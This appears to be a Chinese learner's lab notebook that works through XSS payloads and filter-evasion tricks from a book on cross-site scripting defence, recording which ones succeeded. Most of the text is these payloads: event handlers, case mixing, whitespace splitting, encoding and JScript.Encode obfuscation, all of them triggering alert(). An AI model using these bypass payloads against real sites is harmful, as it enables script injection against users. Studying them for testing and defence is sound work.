《xss跨站腳本剖析與防禦》實驗筆記
1、書籍《xss跨站腳本剖析與防禦》上介紹的xss測試代碼
<img src="javascrpt:alert(‘xss‘);">,
<table background="javascrpt:alert(/xss/)"></table>
已經不能在多大數的瀏覽器上彈窗成功了
測試xss漏洞盡量改變習慣使用
<img src=1 oneRroR=alert(/XSS/)>
<img src=1 oneRroR=alert(‘XSS‘)>
<img src=1 oneRroR=alert("XSS")>
<img src="#" onerror=alert(‘xss‘)>
<img src="x"/**/onerror="javascript:alert(‘xss‘);">
<script>alert(‘XSS‘)</script>
<img src=# onerror="alert(‘XSS‘)"/>
<input type="text" value="x" onmouseover="alert(‘XSS‘)" />
<iframe src="javascript:alert(‘XSS‘)"></iframe>
<a href="javascript:alert(‘XSS‘)"> xss</a>
來測試,能勝任當前大多數瀏覽器版本。
2、使用空格、回車、tab鍵的方法繞過過濾
<iframe src="java
script:al ert(1)" height=0 width=0 /><iframe> <!--Java和script是回車,al和ert是Tab換行符-->
實際測試成功
3、利用ASCII轉碼繞過過濾
<img src="x"/**/onerror="javascript:alert(‘xss‘);" >
<img src=1 onerror=alert(‘xss‘)> 轉換為 <img src=1 onerror=alert('xss')>
實際測試成功
4、產生事件
<input type="button" value="click me" onclick="alert(‘click me‘)" >
實際測試成功
5、利用CSS跨站
<div style="background-image:url(javascript:alert(‘XSS‘))">
<style>
body {background-image: url("javascript:alert(‘XSS‘)");}
</style>
<div style="list-style-image:url(javascript:alert(‘XSS‘))">
實際測試失敗
6、大小寫混淆
<img src="#" oneRroR=alert(‘xss‘)>
實際測試成功
7、半字轉為全字
<img src="#" onerror=alert(‘xss‘)>
實際驗證失敗
8、結合使用註釋字符幹擾
<img src="####/*******/####" onerror=alert(‘xss‘)>
實際測試成功
9、書上說在javascript中的eval()函數,可計算字符串,並執行其中的JavaScript代碼
<script>
eval("alert(‘XSS‘)");
</script>
按照書上說的轉碼為16進制
<script>
eval("\61\6c\65\72\74\28\27\58\53\53\27\29");
</script>
實際驗證失敗
10、Microsoft提供腳本加密機制,可以對腳本進行加密,能在IE下正常運行,在其他瀏覽器則無法識別
alert(1)使用JScript Encode加密結果為#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
編寫exploit代碼
<script language="JScript.Encode">
#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
</script>
在IE中執行,實際測試成功
《xss跨站腳本剖析與防禦》實驗筆記